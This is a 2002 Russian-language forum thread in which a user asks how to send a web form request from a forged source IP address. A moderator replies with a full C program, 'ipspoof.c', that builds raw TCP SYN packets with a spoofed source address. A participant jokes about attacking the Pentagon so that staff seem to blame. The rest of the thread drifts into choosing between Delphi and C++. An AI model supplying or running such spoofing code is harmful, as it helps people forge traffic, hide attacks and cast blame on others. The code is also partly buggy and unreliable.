На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
  
> Посылка Raw IP-пакетов
    Можно самостоятельно указывать в пакете IP-адрес получателя и отправителя, порт назначения и т.д А как послать запрос в cgi форму с подмененным ip.
      А чем не устраивает отправить через левую проксю ? Объясни, зачем тебе понадобился этот геморрой ?
        4to ne ponjatno 4toli lomat' kakojnibud' sajt naprimer pentegon i tak 4to by oni dumali 4to ih lomaet ih zhe sotrudnik kotorij sdit v tom zhe sdanii ;D
          Цитата javas, 08.08.02, 11:38:16
          Можно самостоятельно указывать в пакете IP-адрес получателя и отправителя, порт назначения и т.д А как послать запрос в cgi форму с подмененным ip.

          Вот тут это есть http://www.sources.ru/delphi/delphi_send_r...p_packets.shtml
            Да, про Пентагон это верно! Но есть какая-то форма, анкета...http://www...form.cgi.
            Необходимо послать запрос http://www..form.cgi?m=lalala&t=mamama с такого-то ip.
            А про страничку я знаю, но там только ip и порты.
              Цитата javas, 08.08.02, 19:42:27
              Но есть какая-то форма, анкета...http://www...form.cgi.
              Необходимо послать запрос http://www..form.cgi?m=lalala&t=mamama с такого-то ip.
              А про страничку я знаю, но там только ip и порты.

              Имхо с поммощью CGI ты этого сделать не сможешь, т.к. CGI базируется на TCP/IP/, а тебе же нужно сырые IP-пакеты отправлять.
                Что значит СЫРЫЕ?
                  Цитата javas, 09.08.02, 15:37:01
                  Что значит СЫРЫЕ?
                  Сырые == RAW, сам же спрашивал :o Т.е. ты хочешь заставить сетевой адаптер (не знаю про какой ты "говорил" - ethernet карта или удаленного доступа или ...) минуя подсистему TCP/IP самому формировать и посылать IP-пакеты.
                    Как же тогда происходит ip-sp@@fing!?
                      Цитата javas, 11.08.02, 11:04:56
                      Как же тогда происходит ip-sp@@fing!?

                      Я уже как-то указывал в этом разделе ссылку на хорошую статью про безопасность. Как вводный материал - очень хороша. Там и про спуффинг есть чуток. Почитай ее - http://www.citforum.ru/internet/securities/tcpip.shtml
                        Благородно, спасибо и за это!
                          Цитата javas, 11.08.02, 23:34:34
                          Благородно, спасибо и за это!


                          Сарказм принимается.  ;)

                          Можно, конечно и использовать тип сокетов SOСK_RAW (как в приведенном ниже примере), но, не факт что получится. Все зависит от реализации сокетов, тип SOCK_RAW вроде бы опционален:
                          ExpandedWrap disabled
                            <br>WSAESOCKTNOSUPPORT<br><br>(10044)<br><br>Socket type not supported. <br><br>The support for the specified socket type does not exist in this address family. For example, the >>>> optional type SOCK_RAW <<<<< might be selected in a socket call, and the implementation does not support SOCK_RAW sockets at all.<br>


                          ipspoof.c:

                          ExpandedWrap disabled
                            <br>#include <sys/types.h><br>#include <sys/socket.h><br>#include <netinet/in_systm.h><br>#include <netinet/in.h><br>#include <netinet/ip.h><br>#include <netinet/tcp.h><br>#include <netinet/ip_icmp.h><br>#include <netdb.h><br><br>unsigned short ip_cksum(unsigned char * buff, int len)<br>{<br>        unsigned long sum = 0;<br>        if (len > 3)<br>        {<br>                __asm__("clc\n"<br>                "1:\t"<br>                "lodsl\n\t"<br>                "adcl \%\%eax, \%\%ebx\n\t"<br>                "loop 1b\n\t"<br>                "adcl $0, \%\%ebx\n\t"<br>                "movl \%\%ebx, \%\%eax\n\t"<br>                "shrl $16, \%\%eax\n\t"<br>                "addw \%\%ax, \%\%bx\n\t"<br>                "adcw $0, \%\%bx"<br>                : "=b" (sum) , "=S" (buff)<br>                : "0" (sum), "c" (len >> 2) ,"1" (buff)<br>                : "ax", "cx", "si", "bx" );<br>        }<br>        if (len & 2)<br>        {<br>                __asm__("lodsw\n\t"<br>                "addw \%\%ax, \%\%bx\n\t"<br>                "adcw $0, \%\%bx"<br>                : "=b" (sum), "=S" (buff)<br>                : "0" (sum), "1" (buff)<br>                : "bx", "ax", "si");<br>        }<br>        if (len & 1)<br>        {<br>                __asm__("lodsb\n\t"<br>                "movb $0, \%\%ah\n\t"<br>                "addw \%\%ax, \%\%bx\n\t"<br>                "adcw $0, \%\%bx"<br>                : "=b" (sum), "=S" (buff)<br>                : "0" (sum), "1" (buff)<br>                : "bx", "ax", "si");<br>        }<br>        sum =~sum;<br>        return(sum & 0xffff);<br>}<br><br>unsigned short tcp_check(struct tcphdr *th, int len,<br>          unsigned long saddr, unsigned long daddr)<br>{<br>        unsigned long sum;<br>        __asm__("<br>            addl \%\%ecx, \%\%ebx<br>            adcl \%\%edx, \%\%ebx<br>            adcl $0, \%\%ebx<br>            "<br>        : "=b"(sum)<br>        : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)<br>        : "bx", "cx", "dx" );<br>        __asm__("<br>            movl \%\%ecx, \%\%edx<br>            cld<br>            cmpl $32, \%\%ecx<br>            jb 2f<br>            shrl $5, \%\%ecx<br>            clc<br>1:          lodsl<br>            adcl \%\%eax, \%\%ebx<br>            lodsl<br>            adcl \%\%eax, \%\%ebx<br>            lodsl<br>            adcl \%\%eax, \%\%ebx<br>            lodsl<br>            adcl \%\%eax, \%\%ebx<br>            lodsl<br>            adcl \%\%eax, \%\%ebx<br>            lodsl<br>            adcl \%\%eax, \%\%ebx<br>            lodsl<br>            adcl \%\%eax, \%\%ebx<br>            lodsl<br>            adcl \%\%eax, \%\%ebx<br>            loop 1b<br>            adcl $0, \%\%ebx<br>            movl \%\%edx, \%\%ecx<br>2:          andl $28, \%\%ecx<br>            je 4f<br>            shrl $2, \%\%ecx<br>            clc<br>3:          lodsl<br>            adcl \%\%eax, \%\%ebx<br>            loop 3b<br>            adcl $0, \%\%ebx<br>4:          movl $0, \%\%eax<br>            testw $2, \%\%dx<br>            je 5f<br>            lodsw<br>            addl \%\%eax, \%\%ebx<br>            adcl $0, \%\%ebx<br>            movw $0, \%\%ax<br>5:          test $1, \%\%edx<br>            je 6f<br>            lodsb<br>            addl \%\%eax, \%\%ebx<br>            adcl $0, \%\%ebx<br>6:          movl \%\%ebx, \%\%eax<br>            shrl $16, \%\%eax<br>            addw \%\%ax, \%\%bx<br>            adcw $0, \%\%bx<br>            "<br>        : "=b"(sum)<br>        : "0"(sum), "c"(len), "S"(th)<br>        : "ax", "bx", "cx", "dx", "si" );<br><br>        /* We only want the bottom 16 bits, but we never cleared the top 16. */<br><br>        return((~sum) & 0xffff);<br>}<br><br>void resolve_address(struct sockaddr *addr, char *hostname, u_short port) {<br>struct sockaddr_in *address;<br>struct hostent *host;<br><br>address = (struct sockaddr_in *)addr;<br>(void) bzero((char *)address, sizeof(struct sockaddr_in));<br>address->sin_family = AF_INET;<br>address->sin_port = htons(port);<br>address->sin_addr.s_addr = inet_addr(hostname);<br>if ((int)address->sin_addr.s_addr == -1) {<br>  host = gethostbyname(hostname);<br>  if (host) {<br>   bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length);<br>  }<br>  else {<br>   puts("Couldn't resolve address!!!");<br>   exit(-1);<br>  }<br> }<br>}<br><br>char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl, <br>        u_short id, char *data, int data_len)<br>{<br> char *ip_datagram;<br> struct iphdr *ip_header; <br> ip_datagram = malloc(sizeof(struct iphdr) + data_len);<br> ip_header = ip_datagram;<br> ip_header->version   = 4;<br> ip_header->tos       = 0;<br> ip_header->frag_off  = 0;<br> ip_header->check     = 0;<br> ip_header->saddr     = source;<br> ip_header->daddr     = dest;<br> ip_header->protocol  = protocol;<br> ip_header->ttl       = ttl;<br> ip_header->id        = htons(id);<br> ip_header->ihl       = 5;<br> ip_header->tot_len   = htons(sizeof(struct iphdr) + data_len); <br> ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr)));<br> bcopy(data,ip_datagram+sizeof(struct iphdr),data_len);<br> return ip_datagram;<br>}<br><br>char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport, <br>        u_long seqnum, u_long acknum, u_char flags, char *data, int datalen) <br>{<br> char *wewt;<br> struct tcphdr *tcp_header;<br> wewt = malloc(sizeof(struct tcphdr) + datalen);<br> tcp_header = wewt;<br> tcp_header->th_sport = sport;<br> tcp_header->th_dport = dport;<br> tcp_header->th_seq   = seqnum;<br> tcp_header->th_ack   = acknum;<br> tcp_header->th_flags = flags;<br> tcp_header->th_sum   = 0;<br> tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr), <br>    source, dest));<br> bcopy(data,wewt+sizeof(struct tcphdr),datalen);<br> return wewt;<br>}<br><br>void sendpack(char *fromhost, int fromport, char *tohost, int toport) {<br> char *packet;<br> char *tcppacket;<br> char *sendme;<br> static struct sockaddr_in local, remote;<br> static int sock = 0;<br> if (!sock) {<br>   resolve_address((struct sockaddr *)&local, fromhost, fromport);<br>   resolve_address((struct sockaddr *)&remote, tohost, toport);<br>   sock = socket(AF_INET, SOCK_RAW, 255);<br>   if (sock == -1) { perror("Getting raw socket"); exit(-1); }<br>  }<br>   tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr, <br>        local.sin_port, remote.sin_port, 795930600, 0, TH_SYN,<br>        NULL, 0);<br>   packet = create_ip(&local.sin_addr, &remote.sin_addr,<br>        6, 24, 4, NULL, 0);<br>   sendme = (struct iphdr *)packet;<br>   bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket));<br>   printf("the ip header is \%d bytes long.\n", sizeof(struct iphdr));<br>   printf("the tcp header is \%d bytes long.\n", sizeof(struct tcphdr));<br>   printf("the ip packet is \%d bytes long.\n", sizeof(packet));<br>   printf("the tcp packet is \%d bytes long.\n", sizeof(tcppacket));<br>   printf("the final packet is \%d bytes long.\n", sizeof(sendme));<br>  {<br>   int result;<br><br>   result = sendto(sock, packet, sizeof(packet), 0,<br>        (struct sockaddr *)&remote, sizeof(remote));<br>   if (result != sizeof(packet)) { perror("sending packet"); }<br>  }<br>}<br><br>main(int argc, char **argv) {<br>if (argc!=5) {<br> printf("usage: \%s <from host> <from port> <to host> <to port>\n", argv[0]);<br> exit(-1);<br>}<br> printf("forging packet from \%s.\%d to \%s.\%d\n", argv[1], atoi(argv[2]), <br>        argv[3], atoi(argv[4]));<br> sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));<br>}<br>

                          Сообщение отредактировано: JoeUser -
                            Почему на C, нельзя ли в рамках форума как бы перевести на более понятный язык ~ Delphi.
                              Цитата javas, 15.08.02, 06:30:15
                              Почему на C, нельзя ли в рамках форума как бы перевести на более понятный язык ~ Delphi.

                              Почему на Ц?  Ну так автор захотел, он наверное не любит Дельфи. А начсет перевода этого на Дельфи... ::)  Мне так лениво, может кто и сделает.
                                Ясно. :'(
                                  Вообще перевести не проблема, но мудорно...  :(
                                    вы не хотите, чтобы это досталось, так сказать, новичкам, тогда в чем суть форума, хотя вопрос не из чистейших.... :-/
                                      Суть форума - намекнуть, подсказать, наставить на путь истинный, но никак не всё сделать за Вас. Здесь дело не только в синтаксисе. Если бы только синтаксис, то тут не сложно. Дело в том, что Дельфи немного отличается от С по своей структуре и работе хотя две среды идентичные.
                                        Стоял у меня windows 98se, а на нем Delphi 5.5, но windows ушел и Delphi тоже отправился в синие дали. Диск был не мой, и его уже нет. Теперь выбор: что купить Delphi 6 или С++ 6?
                                          Это смотря на чём программить умеешь...
                                            Ну, тогда, Delphi 6.0 а под win xp этот же Delphi или другая версия есть.
                                              Цитата javas, 19.08.02, 06:34:09
                                              Ну, тогда, Delphi 6.0 а под win xp этот же Delphi или другая версия есть.

                                              Специальной версии ни для XP, ни для w2k, ни для прочих форточек Борланд не выпускает. Они все 9x/Me/NT/2000/XP. ИМХО про выбор компайлера и среды разработки лучше создать отдельный топик во Флэйме, например. Там более активно начнут советовать ;). Этот топик лучше всеже посвятить исследованию сабжа или закрыть тему, если все ясно.
                                              Сообщение отредактировано: JoeUser -
                                              0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
                                              0 пользователей:


                                              Рейтинг@Mail.ru
                                              [ Script execution time: 0,0429 ]   [ 15 queries used ]   [ Generated: 28.04.24, 14:48 GMT ]